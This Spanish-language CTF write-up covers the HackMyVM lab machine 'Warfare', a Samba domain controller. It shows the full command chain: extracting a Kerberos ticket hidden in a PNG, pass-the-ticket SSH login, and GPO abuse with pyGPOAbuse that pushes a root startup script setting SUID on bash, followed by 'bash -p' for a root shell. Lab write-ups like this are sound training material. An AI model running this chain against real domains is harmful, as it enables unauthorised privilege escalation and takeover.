cd ~/blog

~/writeups/hmv/141-warfare.md

141 - Warfare

easy Linux hmv 07-10-2025
Steganography (Kerberos ccache ticket)Pass-the-Ticket SSH (GSSAPI)GPO abuse (pyGPOAbuse) Privesc
hackmyvm.eu/machines/machine.php?vm=Warfare

~1 min de lectura


Enumeramos puertos: es un Domain Controller (Active Directory sobre Samba, dominio warfare.local):

 nmap -sCV -p 22,53,80,88,135,139,389,445,464,636,3268,3269,... -oN 02-targeted.txt 10.212.91.55
...
22/tcp open  ssh          OpenSSH 10.0p2 Debian 7
80/tcp open  http         WEBrick httpd 1.8.2 (Ruby 3.3.8)
88/tcp open  kerberos-sec
389/tcp open ldap          (Anonymous bind OK)
| ssl-cert: Subject: commonName=WARFAREDC.warfare.local/organizationName=Samba Administration
...

Descargamos el logo.png de la web y extraemos datos ocultos con steg-png:

 ~/bin/steg-png extract logo.png
 strings logo.png.out
WARFARE.LOCAL
robert
...
"krbtgt/WARFARE.LOCAL@WARFARE.LOCAL
...

La referencia a krbtgt/... indica que es un ticket Kerberos (credential cache). Lo cargamos en KRB5CCNAME y lo verificamos con klist:

 export KRB5CCNAME=logo.png.out
 klist -e -a
Ticket cache: FILE:logo.png.out
Default principal: robert@WARFARE.LOCAL

Valid starting     Expires            Service principal
07/10/25 19:52:04  08/10/25 05:52:04  krbtgt/WARFARE.LOCAL@WARFARE.LOCAL
...

Añadimos el DC al /etc/hosts y usamos el ticket (GSSAPI / Pass-the-Ticket) para entrar por SSH como robert:

 ssh -K robert@warfaredc.warfare.local
...
WARFARE\robert@warfaredc:~$

Obtenemos la primera flag. Para escalar, abusamos de una GPO con pyGPOAbuse, inyectando un script de arranque que pone SUID a bash:

 cat pwned.sh
#!/bin/bash
chmod u+s /bin/bash

 python3 pygpoabuse.py 'warfare.local/robert':'.:.crossroadSBlues!' -dc-ip 10.212.91.55 -gpo-id '6BB6659D-BFAD-44B1-8B36-066C35CE2931' --linux-exec ../pwned.sh
[+] SUCCESS:root:executable 'pwned.sh' created in ...\Scripts\Startup

Tras unos minutos, el script se ejecuta como root:

WARFARE\robert@warfaredc:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1298416 Jul 30 15:28 /bin/bash

WARFARE\robert@warfaredc:/tmp$ bash -p
bash-5.2# whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados